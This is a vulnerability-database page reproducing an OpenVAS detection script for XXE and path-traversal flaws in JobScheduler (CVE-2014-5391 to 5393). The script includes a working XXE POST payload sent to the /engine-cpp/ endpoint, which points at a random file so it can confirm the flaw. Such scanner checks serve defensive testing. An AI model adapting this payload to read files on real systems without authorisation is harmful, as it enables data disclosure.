Lucene search
+L

JobScheduler Multiple Vulnerabilities (Oct 2014)

🗓️ 09 Oct 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 29 Views

JobScheduler Multiple Vulnerabilities (Oct 2014) - Prone to multiple vulnerabilities due to incorrectly configured XML parser, improper validation, allowing remote attackers to gain access to arbitrary files, execute arbitrary HTML and script code, or cause a denial of servic

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2014-5391
11 Sep 201415:00
cve
cve
CVE
CVE-2014-5392
23 Sep 201415:00
cve
cve
CVE
CVE-2014-5393
11 Sep 201415:00
cve
cvelist
Cvelist
CVE-2014-5391
11 Sep 201415:00
cvelist
cvelist
Cvelist
CVE-2014-5392
23 Sep 201415:00
cvelist
cvelist
Cvelist
CVE-2014-5393
11 Sep 201415:00
cvelist
euvd
EUVD
EUVD-2014-5279
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2014-5280
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2014-5281
7 Oct 202500:30
euvd
nvd
NVD
CVE-2014-5391
11 Sep 201415:55
nvd
Rows per page
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804773");
  script_version("2024-02-19T05:05:57+0000");
  script_cve_id("CVE-2014-5391", "CVE-2014-5392", "CVE-2014-5393");
  script_tag(name:"cvss_base", value:"5.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:P");
  script_tag(name:"last_modification", value:"2024-02-19 05:05:57 +0000 (Mon, 19 Feb 2024)");
  script_tag(name:"creation_date", value:"2014-10-09 10:33:16 +0530 (Thu, 09 Oct 2014)");

  script_name("JobScheduler Multiple Vulnerabilities (Oct 2014)");

  script_tag(name:"summary", value:"JobScheduler is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP POST and
  check whether it is able to read arbitrary file or not.");

  script_tag(name:"insight", value:"Multiple flaws are due to:

  - An incorrectly configured XML parser accepting XML external entities from
    an untrusted source.

  - Improper validation of input before returning it to users, specifically
    path traversal style attacks (e.g. '../').");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attacker to gain access to arbitrary files, execute arbitrary HTML and
  script code or cause a denial of service.");

  script_tag(name:"affected", value:"JobScheduler version before 1.6.4246 and
  7.x before 1.7.4241.");

  script_tag(name:"solution", value:"Upgrade to version 1.6.4246 or 1.7.4241 or later.");

  script_xref(name:"URL", value:"http://www.sos-berlin.com/modules/news/article.php?storyid=73");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69660");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69661");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69664");
  script_xref(name:"URL", value:"http://www.sos-berlin.com/modules/news/article.php?storyid=74");
  script_xref(name:"URL", value:"http://www.christian-schneider.net/advisories/CVE-2014-5392.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 40444);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  script_xref(name:"URL", value:"http://www.sos-berlin.com/modules/cjaycontent/index.php?id=osource_scheduler_introduction_en.htm");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

http_port = http_get_port(default:40444);

host = http_host_name(port:http_port);

foreach dir (make_list_unique("/", "/jobscheduler", "/job-scheduler", "/scheduler", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  sndReq = http_get(item: string(dir, "/operations_gui/"),  port:http_port);
  rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

  if(">JobScheduler<" >< rcvRes)
  {
    entity =  rand_str(length:8,charset:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");

    url = dir + '/engine-cpp/';

    postData = '<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///' + entity +
               '" >]><commands><show_state subsystems="job folder" what="folders no_subfolders' +
               ' " path="/sos/update" max_task_history="0"/>&xxe;</commands>';

    sndReq = string("POST ", url, " HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "X-Requested-With: XMLHttpRequest\r\n",
                    "Content-Length: ", strlen(postData), "\r\n",
                    "\r\n", postData);

    rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq, bodyonly:TRUE);

    if("The system cannot find the file specified" >< rcvRes &&
       "DOCTYPE is disallowed" >!< rcvRes)
    {
      security_message(port:http_port);
      exit(0);
    }
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Feb 2024 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 25.8
EPSS0.02642
29